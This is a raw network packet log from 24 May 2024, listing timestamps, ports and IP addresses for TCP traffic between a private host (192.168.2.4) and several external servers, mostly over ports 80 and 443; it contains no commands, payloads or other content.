May 24, 2024 13:42:04.805392027 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.805398941 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.805419922 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.805432081 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.806308985 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.806322098 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.806332111 CEST	80	49750	176.111.174.109	192.168.2.4
May 24, 2024 13:42:04.806343079 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.806355000 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.806365967 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.806365967 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.806386948 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.806416988 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.807447910 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.807461023 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.807471991 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.807482004 CEST	80	49748	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.807492018 CEST	80	49757	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.807499886 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.807501078 CEST	80	49752	146.70.56.165	192.168.2.4
May 24, 2024 13:42:04.807499886 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.807509899 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.807521105 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.807522058 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.807533979 CEST	80	49758	146.70.56.165	192.168.2.4
May 24, 2024 13:42:04.807564974 CEST	49757	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.807576895 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.807593107 CEST	49758	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.807821989 CEST	49757	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.807830095 CEST	49758	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.808295012 CEST	49761	443	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.808336020 CEST	443	49761	146.70.56.165	192.168.2.4
May 24, 2024 13:42:04.808366060 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.808377028 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.808387995 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.808398962 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.808399916 CEST	49761	443	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.808429003 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.808451891 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.808615923 CEST	49761	443	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.808631897 CEST	443	49761	146.70.56.165	192.168.2.4
May 24, 2024 13:42:04.809348106 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.809360981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.809371948 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.809382915 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.809415102 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.809415102 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.810287952 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.810301065 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.810309887 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.810337067 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.810353041 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.810807943 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.810820103 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.810828924 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.810839891 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.810863972 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.810878992 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.811819077 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.811831951 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.811841011 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.811851978 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.811861038 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.811866045 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.811902046 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.811923981 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.812798023 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.812809944 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.812820911 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.812833071 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.812846899 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.812870979 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.813821077 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.813833952 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.813843966 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.813855886 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.813864946 CEST	80	49753	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.813870907 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.813874006 CEST	80	49759	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.813884974 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.813924074 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.813936949 CEST	49759	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.814027071 CEST	49759	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.814794064 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.814805984 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.814814091 CEST	80	49756	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.814825058 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.814835072 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.814842939 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.814846039 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.814871073 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.814886093 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.815789938 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.815803051 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.815814018 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.815824032 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.815843105 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.815848112 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.815875053 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.816780090 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.816793919 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.816802979 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.816814899 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.816826105 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.816826105 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.816865921 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.817751884 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.817764044 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.817774057 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.817786932 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.817797899 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.817814112 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.817832947 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.818746090 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.818758011 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.818768024 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.818779945 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.818789005 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.818794012 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.818809032 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.818839073 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.819708109 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.819722891 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.819734097 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.819744110 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.819751978 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.819755077 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.819788933 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.819788933 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.819813013 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.824206114 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824218988 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824228048 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824239016 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824249983 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824271917 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.824315071 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.824325085 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824378014 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.824565887 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824577093 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824587107 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.824593067 CEST	80	49734	147.45.47.149	192.168.2.4
May 24, 2024 13:42:04.824601889 CEST	54674	49760	147.45.47.149	192.168.2.4
May 24, 2024 13:42:04.824611902 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.824693918 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.824693918 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.824697018 CEST	49760	54674	192.168.2.4	147.45.47.149
May 24, 2024 13:42:04.824697018 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.824841976 CEST	49760	54674	192.168.2.4	147.45.47.149
May 24, 2024 13:42:04.825541019 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.825553894 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.825562000 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.825573921 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.825582981 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.825589895 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.825630903 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.825633049 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.826581001 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.826592922 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.826602936 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.826616049 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.826633930 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.826658964 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.826658964 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.827447891 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.827498913 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.827517033 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.827528954 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.827538967 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.827548981 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.827554941 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.827586889 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.827586889 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.828465939 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.828476906 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.828486919 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.828497887 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.828510046 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.828536987 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.829453945 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.829466105 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.829474926 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.829487085 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.829498053 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.829525948 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.829555035 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.830579042 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.830591917 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.830602884 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.830614090 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.830624104 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.830631018 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.830667973 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.830667973 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.830715895 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832580090 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832598925 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832609892 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832619905 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832638979 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832649946 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832652092 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832652092 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832660913 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832672119 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832680941 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832680941 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832681894 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832694054 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.832698107 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832698107 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832731962 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832731962 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.832746029 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.833208084 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.833219051 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.833228111 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.833236933 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.833251953 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.833265066 CEST	80	49757	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.833271027 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.833271027 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.833309889 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.833312035 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.834213018 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.834223986 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.834233046 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.834244013 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.834258080 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.834284067 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.834728003 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.834739923 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.834749937 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.834759951 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.834769011 CEST	80	49758	146.70.56.165	192.168.2.4
May 24, 2024 13:42:04.834778070 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.834808111 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.834810019 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.834850073 CEST	49758	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.834867954 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.835751057 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.835762978 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.835772038 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.835783005 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.835793018 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.835803986 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.835813999 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.835849047 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.835850000 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.836695910 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.836707115 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.836716890 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.836725950 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.836735964 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.836749077 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.836807013 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.836811066 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.837687969 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.837698936 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.837709904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.837721109 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.837733030 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.837743998 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.837745905 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.837753057 CEST	80	49759	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.837805986 CEST	49759	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.837836027 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.837841034 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.838656902 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.838669062 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.838679075 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.838689089 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.838700056 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.838726997 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.838727951 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.838746071 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.839643955 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.839656115 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.839664936 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.839679956 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.839689016 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.839700937 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.839701891 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.839723110 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.839730024 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.839766979 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.839771986 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.840600967 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.840612888 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.840622902 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.840632915 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.840648890 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.840652943 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.840688944 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.840688944 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.841272116 CEST	49762	443	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.841357946 CEST	443	49762	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.841445923 CEST	49762	443	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.841547966 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.841559887 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.841568947 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.841579914 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.841592073 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.841599941 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.841602087 CEST	49762	443	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.841603994 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.841628075 CEST	443	49762	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.841629982 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.841644049 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.842406988 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.842418909 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.842427969 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.842438936 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.842448950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.842459917 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.842464924 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.842509031 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.842509031 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.843224049 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.843235970 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.843246937 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.843257904 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.843270063 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.843280077 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.843318939 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.843319893 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.844079018 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.844089985 CEST	54674	49760	147.45.47.149	192.168.2.4
May 24, 2024 13:42:04.844098091 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.844108105 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.844120026 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.844130039 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.844140053 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.844150066 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.844149113 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.844182968 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.844185114 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.844206095 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.845071077 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.845083952 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.845094919 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.845104933 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.845115900 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.845127106 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.845133066 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.845134020 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.845164061 CEST	49735	80	192.168.2.4	5.42.66.10
